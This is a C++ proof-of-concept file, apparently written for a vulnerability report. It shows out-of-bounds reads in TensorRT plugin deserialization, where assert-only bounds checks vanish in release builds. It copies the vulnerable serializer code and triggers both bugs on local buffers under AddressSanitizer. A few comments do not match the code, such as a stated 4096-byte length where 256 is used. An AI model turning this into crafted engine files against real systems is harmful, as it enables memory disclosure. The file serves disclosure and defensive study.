poc_tensorrt_serialize.cpp

/*
 * PoC: Out-of-bounds heap read in TensorRT plugin deserialization
 *
 * Vulnerability: TensorRT's serialize.hpp uses assert()-only bounds checking,
 * which is compiled out in release builds (NDEBUG defined). The read<T>()
 * function in plugin.h has ZERO bounds checking. When a malicious TensorRT
 * engine file (.trt/.engine/.plan) contains a plugin with truncated or
 * crafted serialization data, the deserialization reads past the buffer
 * boundary.
 *
 * This PoC demonstrates two bugs:
 *
 * 1. serialize.hpp vector deserialization (line 101-112):
 *    - Reads attacker-controlled `size` from buffer
 *    - Resizes vector to `size`
 *    - Computes nbyte = size * sizeof(T) (can overflow)
 *    - assert(*buffer_size >= nbyte) — NO-OP in release
 *    - memcpy from buffer with no bounds check
 *
 * 2. serialize.hpp string deserialization (line 128-138):
 *    - Reads attacker-controlled `nbyte` from buffer
 *    - Resizes string to nbyte
 *    - assert(*buffer_size >= nbyte) — NO-OP in release
 *    - memcpy from buffer with no bounds check
 *
 * Affected code:
 *   - TensorRT/plugin/common/serialize.hpp:55-61 (POD deserialize)
 *   - TensorRT/plugin/common/serialize.hpp:101-112 (vector deserialize)
 *   - TensorRT/plugin/common/serialize.hpp:128-138 (string deserialize)
 *   - TensorRT/plugin/common/plugin.h:100-108 (read<T>() — zero checks)
 *
 * All 30+ TensorRT plugins that use these primitives are affected.
 *
 * Build and run:
 *   # Debug (assert enabled — catches the bug):
 *   g++ -fsanitize=address -g -o poc_debug poc_tensorrt_serialize.cpp
 *   ./poc_debug
 *
 *   # Release (assert disabled — ASAN catches OOB read):
 *   g++ -fsanitize=address -g -DNDEBUG -o poc_release poc_tensorrt_serialize.cpp
 *   ./poc_release
 */

#include <cassert>
#include <cstring>
#include <iostream>
#include <string>
#include <type_traits>
#include <vector>

// ============================================================================
// Copied verbatim from TensorRT/plugin/common/serialize.hpp
// ============================================================================

template <typename T>
inline void serialize_value(void** buffer, T const& value);

template <typename T>
inline void deserialize_value(void const** buffer, size_t* buffer_size, T* value);

namespace
{

template <typename T, class Enable = void>
struct Serializer
{
};

// POD serializer — assert-only bounds check
template <typename T>
struct Serializer<T, typename std::enable_if_t<std::is_arithmetic_v<T> || std::is_enum_v<T>>>
{
    static size_t serialized_size(T const&)
    {
        return sizeof(T);
    }
    static void serialize(void** buffer, T const& value)
    {
        ::memcpy(*buffer, &value, sizeof(T));
        reinterpret_cast<char*&>(*buffer) += sizeof(T);
    }
    static void deserialize(void const** buffer, size_t* buffer_size, T* value)
    {
        assert(*buffer_size >= sizeof(T));  // NO-OP when NDEBUG is defined!
        ::memcpy(value, *buffer, sizeof(T));
        reinterpret_cast<char const*&>(*buffer) += sizeof(T);
        *buffer_size -= sizeof(T);
    }
};

// Vector serializer — assert-only bounds check + potential integer overflow
template <typename T>
struct Serializer<std::vector<T>,
    typename std::enable_if_t<std::is_arithmetic_v<T> || std::is_enum_v<T>>>
{
    static size_t serialized_size(std::vector<T> const& value)
    {
        return sizeof(value.size()) + value.size() * sizeof(T);
    }
    static void serialize(void** buffer, std::vector<T> const& value)
    {
        serialize_value(buffer, value.size());
        size_t nbyte = value.size() * sizeof(T);
        ::memcpy(*buffer, value.data(), nbyte);
        reinterpret_cast<char*&>(*buffer) += nbyte;
    }
    static void deserialize(void const** buffer, size_t* buffer_size, std::vector<T>* value)
    {
        size_t size;
        deserialize_value(buffer, buffer_size, &size);
        value->resize(size);
        size_t nbyte = value->size() * sizeof(T);
        assert(*buffer_size >= nbyte);  // NO-OP when NDEBUG is defined!
        ::memcpy(value->data(), *buffer, nbyte);
        reinterpret_cast<char const*&>(*buffer) += nbyte;
        *buffer_size -= nbyte;
    }
};

// String serializer — assert-only bounds check
template <>
struct Serializer<std::string>
{
    static size_t serialized_size(std::string const& value)
    {
        return sizeof(value.size()) + value.size();
    }
    static void serialize(void** buffer, std::string const& value)
    {
        size_t nbyte = value.size();
        serialize_value(buffer, nbyte);
        ::memcpy(*buffer, value.data(), nbyte);
        reinterpret_cast<char*&>(*buffer) += nbyte;
    }
    static void deserialize(void const** buffer, size_t* buffer_size, std::string* value)
    {
        size_t nbyte;
        deserialize_value(buffer, buffer_size, &nbyte);
        value->resize(nbyte);
        assert(value->size() == nbyte);
        assert(*buffer_size >= nbyte);  // NO-OP when NDEBUG is defined!
        ::memcpy(const_cast<char*>(value->data()), *buffer, nbyte);
        reinterpret_cast<char const*&>(*buffer) += nbyte;
        *buffer_size -= nbyte;
    }
};

} // namespace

template <typename T>
inline void serialize_value(void** buffer, T const& value)
{
    Serializer<T>::serialize(buffer, value);
}

template <typename T>
inline void deserialize_value(void const** buffer, size_t* buffer_size, T* value)
{
    Serializer<T>::deserialize(buffer, buffer_size, value);
}

// ============================================================================
// Copied verbatim from TensorRT/plugin/common/plugin.h
// ============================================================================

template <typename OutType, typename BufferType>
OutType read(BufferType const*& buffer)
{
    static_assert(sizeof(BufferType) == 1, "BufferType must be a 1 byte type.");
    OutType val{};
    std::memcpy(&val, static_cast<void const*>(buffer), sizeof(OutType));
    buffer += sizeof(OutType);
    return val;
}

// ============================================================================
// PoC: Simulate deserializing a malicious plugin from a truncated buffer
// ============================================================================

// Simulates the FlattenConcat plugin deserialization pattern (flattenConcat.cpp:59-78)
// with a truncated/malicious buffer
void poc_read_oob()
{
    std::cout << "\n=== PoC 1: read<T>() OOB read (plugin.h pattern) ===" << std::endl;
    std::cout << "Simulating FlattenConcat plugin deserialization with truncated buffer\n" << std::endl;

    // Create a tiny buffer (only 16 bytes) but pretend it's a full plugin serialization
    // A real FlattenConcat expects: bool + int32 + int32 + int32 + (mNumInputs * int32) + ...
    // We provide only 16 bytes, but set mNumInputs to 1000
    char buffer[16];
    memset(buffer, 0x41, sizeof(buffer));  // Fill with 'A' for visibility

    // Write mIgnoreBatch (bool), mConcatAxisID (int32=1), mOutputConcatAxis (int32),
    // then mNumInputs = 1000 (attacker-controlled)
    char* wp = buffer;
    *reinterpret_cast<bool*>(wp) = false; wp += sizeof(bool);
    *reinterpret_cast<int32_t*>(wp) = 1; wp += sizeof(int32_t);    // mConcatAxisID
    *reinterpret_cast<int32_t*>(wp) = 0; wp += sizeof(int32_t);    // mOutputConcatAxis
    // Remaining 3 bytes not enough for mNumInputs — read<int32_t> will read OOB

    char const* d = buffer;
    // These reads will go past the 16-byte buffer:
    bool ignoreBatch = read<bool>(d);
    int32_t concatAxisID = read<int32_t>(d);
    int32_t outputConcatAxis = read<int32_t>(d);
    int32_t numInputs = read<int32_t>(d);  // reads last 4 bytes — still in bounds barely

    std::cout << "ignoreBatch=" << ignoreBatch << " concatAxisID=" << concatAxisID
              << " outputConcatAxis=" << outputConcatAxis << " numInputs=" << numInputs << std::endl;

    // This read goes PAST the buffer — OOB read!
    std::cout << "Next read goes OOB..." << std::endl;
    int32_t oob_value = read<int32_t>(d);  // <-- HEAP BUFFER OVERFLOW READ
    std::cout << "OOB read value: " << oob_value << std::endl;
}

// Demonstrates the string deserialization with crafted length
void poc_string_deserialize_oob()
{
    std::cout << "\n=== PoC 2: String deserialization OOB (serialize.hpp) ===" << std::endl;

    // Create a buffer with: size_t length = 4096, but only 8 bytes of actual string data
    // In release builds (NDEBUG), the assert is removed and memcpy reads 4096 bytes
    // from a buffer that only has 8 bytes remaining
    const size_t fake_length = 256;  // claim string is 256 bytes
    const size_t actual_data = 8;     // but only provide 8 bytes after the length field

    size_t total_buf_size = sizeof(size_t) + actual_data;
    char* buffer = new char[total_buf_size];
    memcpy(buffer, &fake_length, sizeof(size_t));           // write the fake length
    memset(buffer + sizeof(size_t), 'B', actual_data);      // write 8 bytes of data

    void const* ptr = buffer;
    size_t remaining = total_buf_size;

    std::string result;

#ifdef NDEBUG
    std::cout << "NDEBUG defined — assert() is disabled, OOB read will occur" << std::endl;
#else
    std::cout << "NDEBUG not defined — assert() will catch the bug (this is expected in debug)" << std::endl;
    std::cout << "Recompile with -DNDEBUG to see the OOB read" << std::endl;
#endif

    // This will:
    // 1. Read size_t fake_length (256) from buffer
    // 2. Resize string to 256
    // 3. assert(remaining >= 256) — NO-OP in release!
    // 4. memcpy 256 bytes from buffer that only has 8 bytes — OOB READ
    deserialize_value(&ptr, &remaining, &result);

    std::cout << "String length: " << result.size() << std::endl;
    std::cout << "First 8 chars: " << result.substr(0, 8) << std::endl;

    delete[] buffer;
}

int main()
{
    std::cout << "TensorRT Plugin Deserialization PoC" << std::endl;
    std::cout << "====================================" << std::endl;

#ifdef NDEBUG
    std::cout << "Build mode: RELEASE (NDEBUG defined — assert() disabled)" << std::endl;
#else
    std::cout << "Build mode: DEBUG (assert() enabled)" << std::endl;
#endif

    poc_read_oob();
    poc_string_deserialize_oob();

    return 0;
}